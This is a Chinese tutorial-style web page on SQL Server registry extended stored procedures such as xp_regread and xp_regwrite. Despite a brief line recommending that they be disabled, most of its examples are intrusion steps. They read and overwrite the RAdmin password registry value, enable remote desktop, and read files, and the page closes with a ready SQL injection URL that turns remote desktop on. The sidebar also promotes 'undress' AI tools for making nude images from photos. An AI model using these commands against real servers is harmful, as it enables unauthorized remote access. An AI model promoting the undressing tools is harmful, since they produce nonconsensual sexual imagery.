几个扩展存储过程使用方法
sqlserver里面有一些危险的扩展存储过程,可以操作注册表,所以很多情况下,下面的存储过程为了服务器安全都会将这些存储过程删除。不过防御与安全同等重要。下面是具体的注册的操作方法。
SQL Server中包含了几个可以访问系统的扩展存储过程.但实际上这几个扩展存储过程是未公开的,从sql server 7.0就有了,在SQL server 2000中仍然保留,他们以后可能会删除.但是这几个存储过程却提供了在当前的SQL Server版本中访问系统的能力,
而且很多人利用SQL Server来进行攻击系统时,往往都会用到这几个扩展存储过程.所以最好在SQL Server中禁用他们.
xp_regenumvalues 以多个记录集方式返回所有键值
使用方法:
xp_regenumvalues 根键, 子键
比如说,想看看HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 的所有键值:
use master
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters'
xp_regread 返回制定键的值
使用方法:
xp_regread 根键,子键,键值名
use master
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
得到密码
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
远程桌面开启为0
xp_regwrite 写入
使用方法:
xp_regwrite 根键,子键, 值名, 值类型, 值
use master
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello'
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0xD7B7CB315B4E731D8E9EF886CE6DCB23
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0xD7B7CB315B4E731D8E9EF886CE6DCB23;--
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY','';--
必须清空后再写新数值
修改成功的前提是值为空
注意值类型有2种REG_SZ 表示字符型,相当于新建字符串值,REG_DWORD 表示整型,相当于新建DWORD值
REG_BINARY
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWord',1;--
禁用远程桌面
xp_regdeletevalue 删除某个值
使用方法:
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName'
use master
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
xp_regdeletekey 删除键,包括该键下所有值
使用方法:
use master
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters'
运行前提SA
可能用处不是很大,也没深入研究,因为觉得读asp用xp_makecab更方便点,仅供思维扩展。
方法1.bulk insert aaa FROM 'c:\1.txt'
方法2.xp_readerrorlog 1,'c:\1.txt'
开启远程桌面http://192.168.200.188/product_list.asp?classid=14;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWord',0;--

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

热门话题

从头到尾:如何使用php扩展cURL进行HTTP请求引言:在Web开发中,经常需要与第三方API或其他远程服务器进行通信。而使用cURL进行HTTP请求是一种常见而强大的方式。本文将介绍如何使用php扩展cURL来执行HTTP请求,并提供一些实用的代码示例。一、准备工作首先,确保php已安装cURL扩展。可以在命令行执行php-m|grepcurl查

要扩展PHP函数功能,可以使用扩展和第三方模块。扩展提供附加函数和类,可通过pecl包管理器安装和启用。第三方模块提供特定功能,可通过Composer包管理器安装。实践案例包括使用扩展解析复杂JSON数据和使用模块验证数据。

标题:Oracle存储过程实现批量更新的步骤与注意事项在Oracle数据库中,存储过程是一组为了提高数据库性能、重用代码、增强安全性的SQL语句集合,通过存储过程可以实现批量更新数据的操作。本文将介绍如何使用Oracle存储过程实现批量更新,并提供具体的代码示例。步骤一:创建存储过程首先,我们需要创建一个存储过程,用来实现批量更新的操作。以下是创建存储过程的

MySQL删除存储过程的方法有使用DROP PROCEDURE语句、使用MySQL Workbench和使用命令行工具等。详细介绍:1、使用DROP PROCEDURE语句,其步骤为先打开MySQL客户端或使用任何支持MySQL的工具,再连接到您的MySQL数据库,最后执行以下SQL语句来删除存储过程;2、使用MySQL Workbench删除存储过程等等。

1.UncaughtError:Calltoundefinedfunctionmb_strlen();出现如上错误时,说明我们没装上mbstring扩展;2.进入PHP安装目录cd/temp001/php-7.1.0/ext/mbstring3.启动phpize(/usr/local/bin/phpize或/usr/local/php7-abel001/bin/phpize)命令来安装php扩展4../configure--with-php-config=/usr/local/php7-abel

Oracle数据库中存储过程是一种特定类型的存储过程,用于在数据库中执行一系列的SQL语句和数据操作。在实际的数据库开发工作中,有时候我们需要判断某个表是否存在于数据库中,这样可以在存储过程中做一些判断和逻辑处理。下面我们将介绍如何在Oracle数据库中实现判断表是否存在的方法,并提供具体的代码示例。首先,我们可以利用系统表user_tables或all_t

Golang存储过程的实现原理与应用存储过程是一种在关系数据库中存储并能被应用程序调用的预编译程序,可以有效地减少网络传输数据的开销,提高数据库的执行效率。虽然Golang并不直接支持存储过程,但是可以通过使用SQL语句来模拟实现存储过程的功能。本文将介绍Golang中实现存储过程的原理和应用,并提供具体的代码示例。一、Golang存储过程的实现原理在Gol

如何在MySQL中使用C#编写自定义存储过程和函数引言:MySQL是一个广泛使用的开源数据库管理系统,而C#是一种常用的面向对象的编程语言。在开发过程中,我们经常需要使用数据库存储过程和函数来提高代码的复用性和性能。本文将介绍如何在MySQL数据库中使用C#编写自定义存储过程和函数,并提供具体的代码示例。一、存储过程存储过程是一组为执行特定任务的SQL语句集
